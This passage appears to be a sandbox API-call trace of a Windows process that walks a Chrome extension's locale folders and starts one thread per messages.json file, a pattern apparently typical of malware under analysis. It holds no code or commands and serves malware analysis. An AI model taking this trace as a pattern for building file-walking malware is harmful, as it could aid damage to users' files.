Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" [0186.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x1338f800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0186.500] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x9a1ac0 | out: lpFindFileData=0x9a1ac0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.500] FindClose (in: hFindFile=0x942370 | out: hFindFile=0x942370) returned 1 [0186.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a1ac0) returned 1 [0186.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abf88) returned 1 [0186.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3760) returned 1 Thread: id = 7826 os_tid = 0x1810 [0184.974] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11e) returned 0x9ab898 [0184.974] wcscpy (in: _Dest=0x9ab898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR" [0184.974] wcscat (in: _Dest=0x9ab898, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\" [0184.974] wcscat (in: _Dest=0x9ab898, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*" [0184.974] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a1d28 [0184.974] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x9a1d28 | out: lpFindFileData=0x9a1d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad38 [0186.331] wcscmp (_String1=".", _String2=".") returned 0 [0186.331] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x9a1d28 | out: lpFindFileData=0x9a1d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.331] wcscmp (_String1="..", _String2=".") returned 1 [0186.331] wcscmp (_String1="..", _String2="..") returned 0 [0186.331] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x9a1d28 | out: lpFindFileData=0x9a1d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.331] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.331] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x9b6328 [0186.331] wcscpy (in: _Dest=0x9b6328, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR" [0186.331] wcscat (in: _Dest=0x9b6328, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\" [0186.331] wcscat (in: _Dest=0x9b6328, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" [0191.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b6328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0 [0191.504] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x9a1d28 | out: lpFindFileData=0x9a1d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0191.504] FindClose (in: hFindFile=0x93ad38 | out: hFindFile=0x93ad38) returned 1 [0191.505] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a1d28) returned 1 [0191.505] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab898) returned 1 [0191.505] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4d58) returned 1 Thread: id = 7827 os_tid = 0x1814 [0184.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11e) returned 0x9ab770 [0184.975] wcscpy (in: _Dest=0x9ab770, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT" [0184.975] wcscat (in: _Dest=0x9ab770, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\" [0184.975] wcscat (in: _Dest=0x9ab770, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*" [0184.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a1f90 [0184.975] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x9a1f90 | out: lpFindFileData=0x9a1f90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b5f8 [0186.332] wcscmp (_String1=".", _String2=".") returned 0 [0186.332] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x9a1f90 | out: lpFindFileData=0x9a1f90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.332] wcscmp (_String1="..", _String2=".") returned 1 [0186.332] wcscmp (_String1="..", _String2="..") returned 0 [0186.332] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x9a1f90 | out: lpFindFileData=0x9a1f90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.332] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.332] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.332] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x9b65b8 [0186.332] wcscpy (in: _Dest=0x9b65b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT" [0186.332] wcscat (in: _Dest=0x9b65b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\" [0186.332] wcscat (in: _Dest=0x9b65b8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" [0188.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b65b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880 [0188.521] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x9a1f90 | out: lpFindFileData=0x9a1f90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.521] FindClose (in: hFindFile=0x93b5f8 | out: hFindFile=0x93b5f8) returned 1 [0188.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a1f90) returned 1 [0188.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab770) returned 1 [0188.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4e80) returned 1 Thread: id = 7828 os_tid = 0x1818 [0184.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ab2d0 [0184.975] wcscpy (in: _Dest=0x9ab2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro" [0184.975] wcscat (in: _Dest=0x9ab2d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\" [0184.975] wcscat (in: _Dest=0x9ab2d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*" [0184.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a21f8 [0184.976] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", lpFindFileData=0x9a21f8 | out: lpFindFileData=0x9a21f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ae78 [0186.332] wcscmp (_String1=".", _String2=".") returned 0 [0186.333] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x9a21f8 | out: lpFindFileData=0x9a21f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.333] wcscmp (_String1="..", _String2=".") returned 1 [0186.333] wcscmp (_String1="..", _String2="..") returned 0 [0186.333] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x9a21f8 | out: lpFindFileData=0x9a21f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.333] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.333] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.333] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d46be0 [0186.333] wcscpy (in: _Dest=0x12d46be0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro" [0186.333] wcscat (in: _Dest=0x12d46be0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\" [0186.333] wcscat (in: _Dest=0x12d46be0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" [0188.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d46be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504 [0188.523] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x9a21f8 | out: lpFindFileData=0x9a21f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.523] FindClose (in: hFindFile=0x93ae78 | out: hFindFile=0x93ae78) returned 1 [0188.523] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a21f8) returned 1 [0188.523] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab2d0) returned 1 [0188.523] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4fa8) returned 1 Thread: id = 7829 os_tid = 0x181c [0184.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9abae8 [0184.976] wcscpy (in: _Dest=0x9abae8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru" [0184.976] wcscat (in: _Dest=0x9abae8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\" [0184.976] wcscat (in: _Dest=0x9abae8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*" [0184.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a2460 [0184.976] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", lpFindFileData=0x9a2460 | out: lpFindFileData=0x9a2460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b738 [0186.333] wcscmp (_String1=".", _String2=".") returned 0 [0186.333] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9a2460 | out: lpFindFileData=0x9a2460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.333] wcscmp (_String1="..", _String2=".") returned 1 [0186.333] wcscmp (_String1="..", _String2="..") returned 0 [0186.333] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9a2460 | out: lpFindFileData=0x9a2460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.333] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.333] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.333] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d46e50 [0186.334] wcscpy (in: _Dest=0x12d46e50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru" [0186.334] wcscat (in: _Dest=0x12d46e50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 